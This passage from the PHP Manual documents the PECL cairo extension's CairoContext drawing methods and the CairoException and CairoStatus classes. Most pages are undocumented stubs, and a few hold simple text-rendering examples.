Object oriented style (method):

public void CairoContext::save ( void )

Procedural style:

void cairo_save ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::rotate
CairoContext::scale
CairoContext


The scale purpose

CairoContext::save
CairoContext::selectFontFace
CairoContext
PHP Manual

CairoContext::scale

cairo_scale

(PECL cairo >= 0.1.0)

CairoContext::scale -- cairo_scale — The scale purpose

Description

Object oriented style (method):

public void CairoContext::scale ( string $x , string $y )

Procedural style:

void cairo_scale ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::save
CairoContext::selectFontFace
CairoContext


The selectFontFace purpose

CairoContext::scale
CairoContext::setAntialias
CairoContext
PHP Manual

CairoContext::selectFontFace

cairo_select_font_face

(PECL cairo >= 0.1.0)

CairoContext::selectFontFace -- cairo_select_font_face — The selectFontFace purpose

Description

Object oriented style (method):

public void CairoContext::selectFontFace ( string $family [, string $slant [, string $weight ]] )

Procedural style:

void cairo_select_font_face ( CairoContext $context , string $family [, string $slant [, string $weight ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

family

Description...

slant

Description...

weight

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::scale
CairoContext::setAntialias
CairoContext


The setAntialias purpose

CairoContext::selectFontFace
CairoContext::setDash
CairoContext
PHP Manual

CairoContext::setAntialias

cairo_set_antialias

(PECL cairo >= 0.1.0)

CairoContext::setAntialias -- cairo_set_antialias — The setAntialias purpose

Description

Object oriented style (method):

public void CairoContext::setAntialias ([ string $antialias ] )

Procedural style:

void cairo_set_antialias ( CairoContext $context [, string $antialias ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

antialias

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::selectFontFace
CairoContext::setDash
CairoContext


The setDash purpose

CairoContext::setAntialias
CairoContext::setFillRule
CairoContext
PHP Manual

CairoContext::setDash

cairo_set_dash

(PECL cairo >= 0.1.0)

CairoContext::setDash -- cairo_set_dash — The setDash purpose

Description

Object oriented style (method):

public void CairoContext::setDash ( string $dashes [, string $offset ] )

Procedural style:

void cairo_set_dash ( CairoContext $context , array $dashes [, string $offset ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

dashes

Description...

offset

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setAntialias
CairoContext::setFillRule
CairoContext


The setFillRule purpose

CairoContext::setDash
CairoContext::setFontFace
CairoContext
PHP Manual

CairoContext::setFillRule

cairo_set_fill_rule

(PECL cairo >= 0.1.0)

CairoContext::setFillRule -- cairo_set_fill_rule — The setFillRule purpose

Description

Object oriented style (method):

public void CairoContext::setFillRule ( string $setting )

Procedural style:

void cairo_set_fill_rule ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setDash
CairoContext::setFontFace
CairoContext


The setFontFace purpose

CairoContext::setFillRule
CairoContext::setFontMatrix
CairoContext
PHP Manual

CairoContext::setFontFace

cairo_set_font_face

(PECL cairo >= 0.1.0)

CairoContext::setFontFace -- cairo_set_font_face — The setFontFace purpose

Description

Object oriented style (method):

public void CairoContext::setFontFace ( CairoFontFace $fontface )

Procedural style:

void cairo_set_font_face ( CairoContext $context , CairoFontFace $fontface )

Sets the font-face for a given context.

Parameters

context

A CairoContext object to change the font-face for.

fontface

A CairoFontFace object

Return Values

No value is returned

Examples

Example #1 Object oriented style

<?php
// New surface with white background
$s = new CairoImageSurface(CairoFormat::ARGB32, 300, 100);
$c = new CairoContext($s);
$c->setSourceRgb(1, 1, 1);
$c->paint();

// Draw some text
$c->setSourceRgb(0, 0, 0);
$c->moveTo(10, 60);
// Create a new font face
$f = new CairoToyFontFace("sans-serif", CairoFontSlant::NORMAL, CairoFontWeight::NORMAL);
$c->setFontFace($f);
$c->setFontSize(30);
$c->showText('Hello, World!');
$s->writeToPng(dirname(__FILE__) . '/setFontFace.png');
?>

Example #2 Procedural style

<?php
/* ... */
?>

See Also

  • CairoContext::setFontSize() - The setFontSize purpose
  • CairoContext::showText() - The showText purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setFillRule
CairoContext::setFontMatrix
CairoContext


The setFontMatrix purpose

CairoContext::setFontFace
CairoContext::setFontOptions
CairoContext
PHP Manual

CairoContext::setFontMatrix

cairo_set_font_matrix

(PECL cairo >= 0.1.0)

CairoContext::setFontMatrix -- cairo_set_font_matrix — The setFontMatrix purpose

Description

Object oriented style (method):

public void CairoContext::setFontMatrix ( string $matrix )

Procedural style:

void cairo_set_font_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setFontFace
CairoContext::setFontOptions
CairoContext


The setFontOptions purpose

CairoContext::setFontMatrix
CairoContext::setFontSize
CairoContext
PHP Manual

CairoContext::setFontOptions

cairo_set_font_options

(PECL cairo >= 0.1.0)

CairoContext::setFontOptions -- cairo_set_font_options — The setFontOptions purpose

Description

Object oriented style (method):

public void CairoContext::setFontOptions ( string $fontoptions )

Procedural style:

void cairo_set_font_options ( CairoContext $context , CairoFontOptions $fontoptions )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

fontoptions

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setFontMatrix
CairoContext::setFontSize
CairoContext


The setFontSize purpose

CairoContext::setFontOptions
CairoContext::setLineCap
CairoContext
PHP Manual

CairoContext::setFontSize

cairo_set_font_size

(PECL cairo >= 0.1.0)

CairoContext::setFontSize -- cairo_set_font_size — The setFontSize purpose

Description

Object oriented style (method):

public void CairoContext::setFontSize ( string $size )

Procedural style:

void cairo_set_font_size ( CairoContext $context , string $size )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

size

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setFontOptions
CairoContext::setLineCap
CairoContext


The setLineCap purpose

CairoContext::setFontSize
CairoContext::setLineJoin
CairoContext
PHP Manual

CairoContext::setLineCap

cairo_set_line_cap

(PECL cairo >= 0.1.0)

CairoContext::setLineCap -- cairo_set_line_cap — The setLineCap purpose

Description

Object oriented style (method):

public void CairoContext::setLineCap ( string $setting )

Procedural style:

void cairo_set_line_cap ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setFontSize
CairoContext::setLineJoin
CairoContext


The setLineJoin purpose

CairoContext::setLineCap
CairoContext::setLineWidth
CairoContext
PHP Manual

CairoContext::setLineJoin

cairo_set_line_join

(PECL cairo >= 0.1.0)

CairoContext::setLineJoin -- cairo_set_line_join — The setLineJoin purpose

Description

Object oriented style (method):

public void CairoContext::setLineJoin ( string $setting )

Procedural style:

void cairo_set_line_join ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setLineCap
CairoContext::setLineWidth
CairoContext


The setLineWidth purpose

CairoContext::setLineJoin
CairoContext::setMatrix
CairoContext
PHP Manual

CairoContext::setLineWidth

cairo_set_line_width

(PECL cairo >= 0.1.0)

CairoContext::setLineWidth -- cairo_set_line_width — The setLineWidth purpose

Description

Object oriented style (method):

public void CairoContext::setLineWidth ( string $width )

Procedural style:

void cairo_set_line_width ( CairoContext $context , string $width )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

width

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setLineJoin
CairoContext::setMatrix
CairoContext


The setMatrix purpose

CairoContext::setLineWidth
CairoContext::setMiterLimit
CairoContext
PHP Manual

CairoContext::setMatrix

cairo_set_matrix

(PECL cairo >= 0.1.0)

CairoContext::setMatrix -- cairo_set_matrix — The setMatrix purpose

Description

Object oriented style (method):

public void CairoContext::setMatrix ( string $matrix )

Procedural style:

void cairo_set_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setLineWidth
CairoContext::setMiterLimit
CairoContext


The setMiterLimit purpose

CairoContext::setMatrix
CairoContext::setOperator
CairoContext
PHP Manual

CairoContext::setMiterLimit

cairo_set_miter_limit

(PECL cairo >= 0.1.0)

CairoContext::setMiterLimit -- cairo_set_miter_limit — The setMiterLimit purpose

Description

Object oriented style (method):

public void CairoContext::setMiterLimit ( string $limit )

Procedural style:

void cairo_set_miter_limit ( CairoContext $context , string $limit )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

limit

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setMatrix
CairoContext::setOperator
CairoContext


The setOperator purpose

CairoContext::setMiterLimit
CairoContext::setScaledFont
CairoContext
PHP Manual

CairoContext::setOperator

cairo_set_operator

(PECL cairo >= 0.1.0)

CairoContext::setOperator -- cairo_set_operator — The setOperator purpose

Description

Object oriented style (method):

public void CairoContext::setOperator ( string $setting )

Procedural style:

void cairo_set_operator ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setMiterLimit
CairoContext::setScaledFont
CairoContext


The setScaledFont purpose

CairoContext::setOperator
CairoContext::setSource
CairoContext
PHP Manual

CairoContext::setScaledFont

cairo_set_scaled_font

(PECL cairo >= 0.1.0)

CairoContext::setScaledFont -- cairo_set_scaled_font — The setScaledFont purpose

Description

Object oriented style (method):

public void CairoContext::setScaledFont ( string $scaledfont )

Procedural style:

void cairo_set_scaled_font ( CairoContext $context , CairoScaledFont $scaledfont )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

scaledfont

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setOperator
CairoContext::setSource
CairoContext


The setSource purpose

CairoContext::setScaledFont
CairoContext::setSourceRGB
CairoContext
PHP Manual

CairoContext::setSource

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSource -- cairo_set_source — The setSource purpose

Description

Object oriented style (method):

public void CairoContext::setSource ( string $pattern )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setScaledFont
CairoContext::setSourceRGB
CairoContext


The setSourceRGB purpose

CairoContext::setSource
CairoContext::setSourceRGBA
CairoContext
PHP Manual

CairoContext::setSourceRGB

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSourceRGB -- cairo_set_source — The setSourceRGB purpose

Description

Object oriented style (method):

public void CairoContext::setSourceRGB ( string $red , string $green , string $blue )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

red

Description...

green

Description...

blue

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setSource
CairoContext::setSourceRGBA
CairoContext


The setSourceRGBA purpose

CairoContext::setSourceRGB
CairoContext::setSourceSurface
CairoContext
PHP Manual

CairoContext::setSourceRGBA

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSourceRGBA -- cairo_set_source — The setSourceRGBA purpose

Description

Object oriented style (method):

public void CairoContext::setSourceRGBA ( string $red , string $green , string $blue , string $alpha )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setSourceRGB
CairoContext::setSourceSurface
CairoContext


The setSourceSurface purpose

CairoContext::setSourceRGBA
CairoContext::setTolerance
CairoContext
PHP Manual

CairoContext::setSourceSurface

cairo_set_source_surface

(PECL cairo >= 0.1.0)

CairoContext::setSourceSurface -- cairo_set_source_surface — The setSourceSurface purpose

Description

Object oriented style (method):

public void CairoContext::setSourceSurface ( string $surface [, string $x [, string $y ]] )

Procedural style:

void cairo_set_source_surface ( CairoContext $context , CairoSurface $surface [, string $x [, string $y ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

surface

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setSourceRGBA
CairoContext::setTolerance
CairoContext


The setTolerance purpose

CairoContext::setSourceSurface
CairoContext::showPage
CairoContext
PHP Manual

CairoContext::setTolerance

cairo_set_tolerance

(PECL cairo >= 0.1.0)

CairoContext::setTolerance -- cairo_set_tolerance — The setTolerance purpose

Description

Object oriented style (method):

public void CairoContext::setTolerance ( string $tolerance )

Procedural style:

void cairo_set_tolerance ( CairoContext $context , string $tolerance )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

tolerance

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setSourceSurface
CairoContext::showPage
CairoContext


The showPage purpose

CairoContext::setTolerance
CairoContext::showText
CairoContext
PHP Manual

CairoContext::showPage

cairo_show_page

(PECL cairo >= 0.1.0)

CairoContext::showPage -- cairo_show_page — The showPage purpose

Description

Object oriented style (method):

public void CairoContext::showPage ( void )

Procedural style:

void cairo_show_page ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::setTolerance
CairoContext::showText
CairoContext


The showText purpose

CairoContext::showPage
CairoContext::status
CairoContext
PHP Manual

CairoContext::showText

cairo_show_text

(PECL cairo >= 0.1.0)

CairoContext::showText -- cairo_show_text — The showText purpose

Description

Object oriented style (method):

public void CairoContext::showText ( string $text )

Procedural style:

void cairo_show_text ( CairoContext $context , string $text )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

Volomike on Twitter 10-Feb-2010 10:14
This is an example of the showText() method for drawing text on a surface. Note that selectFontFace() will select fonts that your OS recognizes and I didn't see a way in the current API to select a font by filename.

<?php
$surface = new CairoImageSurface(CAIRO_FORMAT_ARGB32, 960, 250);
$ctx = new CairoContext($surface);
$ctx->selectFontFace('EuropaGroNr2SH-XBolCon');
$ctx->setFontSize(30);
$ctx->setAntialias(1);
$ctx->moveTo(0, 44);
$ctx->showText('Hello,');
$ctx->moveTo(30, 74);
$ctx->showText('world!');
$sName = tempnam('/tmp','hello');
$surface->writeToPng($sName);
$data = file_get_contents($sName);
unlink($sName);
header('Content-Type: image/png');
echo $data;
CairoContext::showPage
CairoContext::status
CairoContext


The status purpose

CairoContext::showText
CairoContext::stroke
CairoContext
PHP Manual

CairoContext::status

cairo_status

(PECL cairo >= 0.1.0)

CairoContext::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoContext::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::showText
CairoContext::stroke
CairoContext


The stroke purpose

CairoContext::status
CairoContext::strokeExtents
CairoContext
PHP Manual

CairoContext::stroke

cairo_stroke

(PECL cairo >= 0.1.0)

CairoContext::stroke -- cairo_stroke — The stroke purpose

Description

Object oriented style (method):

public void CairoContext::stroke ( void )

Procedural style:

void cairo_stroke ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::status
CairoContext::strokeExtents
CairoContext


The strokeExtents purpose

CairoContext::stroke
CairoContext::strokePreserve
CairoContext
PHP Manual

CairoContext::strokeExtents

cairo_stroke_extents

(PECL cairo >= 0.1.0)

CairoContext::strokeExtents -- cairo_stroke_extents — The strokeExtents purpose

Description

Object oriented style (method):

public array CairoContext::strokeExtents ( void )

Procedural style:

array cairo_stroke_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::stroke
CairoContext::strokePreserve
CairoContext


The strokePreserve purpose

CairoContext::strokeExtents
CairoContext::textExtents
CairoContext
PHP Manual

CairoContext::strokePreserve

cairo_stroke_preserve

(PECL cairo >= 0.1.0)

CairoContext::strokePreserve -- cairo_stroke_preserve — The strokePreserve purpose

Description

Object oriented style (method):

public void CairoContext::strokePreserve ( void )

Procedural style:

void cairo_stroke_preserve ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::strokeExtents
CairoContext::textExtents
CairoContext


The textExtents purpose

CairoContext::strokePreserve
CairoContext::textPath
CairoContext
PHP Manual

CairoContext::textExtents

cairo_text_extents

(PECL cairo >= 0.1.0)

CairoContext::textExtents -- cairo_text_extents — The textExtents purpose

Description

Object oriented style (method):

public array CairoContext::textExtents ( string $text )

Procedural style:

array cairo_text_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::strokePreserve
CairoContext::textPath
CairoContext


The textPath purpose

CairoContext::textExtents
CairoContext::transform
CairoContext
PHP Manual

CairoContext::textPath

cairo_text_path

(PECL cairo >= 0.1.0)

CairoContext::textPath -- cairo_text_path — The textPath purpose

Description

Object oriented style

public void CairoContext::textPath ( string $string )

Procedural style

void cairo_text_path ( CairoContext $context , string $text )

Adds closed paths for text to the current path. The generated path, if filled, achieves an effect similar to that of CairoContext::showText().

Text conversion and positioning is done similar to CairoContext::showText().

Like CairoContext::showText(), after this call the current point is moved to the origin of where the next glyph would be placed in this same progression. That is, the current point will be at the origin of the final glyph offset by its advance values. This allows for chaining multiple calls to CairoContext::showText() without having to set current point in between.

Note: The CairoContext::textPath() function call is part of what the cairo designers call the "toy" text API. It is convenient for short demos and simple programs, but it is not expected to be adequate for serious text-using applications. See CairoContext::glyphPath() for the "real" text path API in cairo.

Parameters

context

A CairoContext object

text

Description...

string

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::textExtents
CairoContext::transform
CairoContext


The transform purpose

CairoContext::textPath
CairoContext::translate
CairoContext
PHP Manual

CairoContext::transform

cairo_transform

(PECL cairo >= 0.1.0)

CairoContext::transform -- cairo_transform — The transform purpose

Description

Object oriented style (method):

public void CairoContext::transform ( string $matrix )

Procedural style:

void cairo_transform ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::textPath
CairoContext::translate
CairoContext


The translate purpose

CairoContext::transform
CairoContext::userToDevice
CairoContext
PHP Manual

CairoContext::translate

cairo_translate

(PECL cairo >= 0.1.0)

CairoContext::translate -- cairo_translate — The translate purpose

Description

Object oriented style (method):

public void CairoContext::translate ( string $x , string $y )

Procedural style:

void cairo_translate ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::transform
CairoContext::userToDevice
CairoContext


The userToDevice purpose

CairoContext::translate
CairoContext::userToDeviceDistance
CairoContext
PHP Manual

CairoContext::userToDevice

cairo_user_to_device

(PECL cairo >= 0.1.0)

CairoContext::userToDevice -- cairo_user_to_device — The userToDevice purpose

Description

Object oriented style (method):

public array CairoContext::userToDevice ( string $x , string $y )

Procedural style:

array cairo_user_to_device ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::translate
CairoContext::userToDeviceDistance
CairoContext


The userToDeviceDistance purpose

CairoContext::userToDevice
CairoException
CairoContext
PHP Manual

CairoContext::userToDeviceDistance

cairo_user_to_device_distance

(PECL cairo >= 0.1.0)

CairoContext::userToDeviceDistance -- cairo_user_to_device_distance — The userToDeviceDistance purpose

Description

Object oriented style (method):

public array CairoContext::userToDeviceDistance ( string $x , string $y )

Procedural style:

array cairo_user_to_device_distance ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::userToDevice
CairoException
CairoContext


The CairoException class

(No version information available, might only be in SVN)

Introduction

Exception class throwed by Cairo functions and methods

Class synopsis

CairoException extends Exception {
/* Properties */
/* Inherited methods */
}

Properties

message

Prop description

code

Prop description

file

Prop description

line

Prop description

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::userToDeviceDistance
CairoStatus
Cairo


The CairoStatus class

(No version information available, might only be in SVN)

Introduction

CairoStatus is used to indicate errors that can occur when using Cairo. In some cases it is returned directly by functions. but when using CairoContext, the last error, if any, is stored in the object and can be retrieved with CairoContext::status() or cairo_status(). New entries may be added in future versions.

Use Cairo::statusToString() or cairo_status_to_string() to get a human-readable representation of an error message.

Class synopsis

CairoStatus {
/* Constants */
const integer SUCCESS = 0 ;
const integer NO_MEMORY = 1 ;
const integer INVALID_RESTORE = 2 ;
const integer INVALID_POP_GROUP = 3 ;
const integer NO_CURRENT_POINT = 4 ;
const integer INVALID_MATRIX = 5 ;
const integer INVALID_STATUS = 6 ;
const integer NULL_POINTER = 7 ;
const integer INVALID_STRING = 8 ;
const integer INVALID_PATH_DATA = 9 ;
const integer READ_ERROR = 10 ;
const integer WRITE_ERROR = 11 ;
const integer SURFACE_FINISHED = 12 ;
const integer SURFACE_TYPE_MISMATCH = 13 ;
const integer PATTERN_TYPE_MISMATCH = 14 ;
const integer INVALID_CONTENT = 15 ;
const integer INVALID_FORMAT = 16 ;
const integer INVALID_VISUAL = 17 ;
const integer FILE_NOT_FOUND = 18 ;
const integer INVALID_DASH = 19 ;
const integer INVALID_DSC_COMMENT = 20 ;
const integer INVALID_INDEX = 21 ;
const integer CLIP_NOT_REPRESENTABLE = 22 ;
const integer TEMP_FILE_ERROR = 23 ;
const integer INVALID_STRIDE = 24 ;
}

Predefined Constants

CairoStatus::SUCCESS

No error has occurred

CairoStatus::NO_MEMORY

Out of memory

CairoStatus::INVALID_RESTORE

cairo_restore() called without matching cairo_save()

CairoStatus::INVALID_POP_GROUP

No saved group to pop

CairoStatus::NO_CURRENT_POINT

No current point defined

CairoStatus::INVALID_MATRIX

Invalid matrix (not invertible)

CairoStatus::INVALID_STATUS

Invalid value for an input CairoStatus>

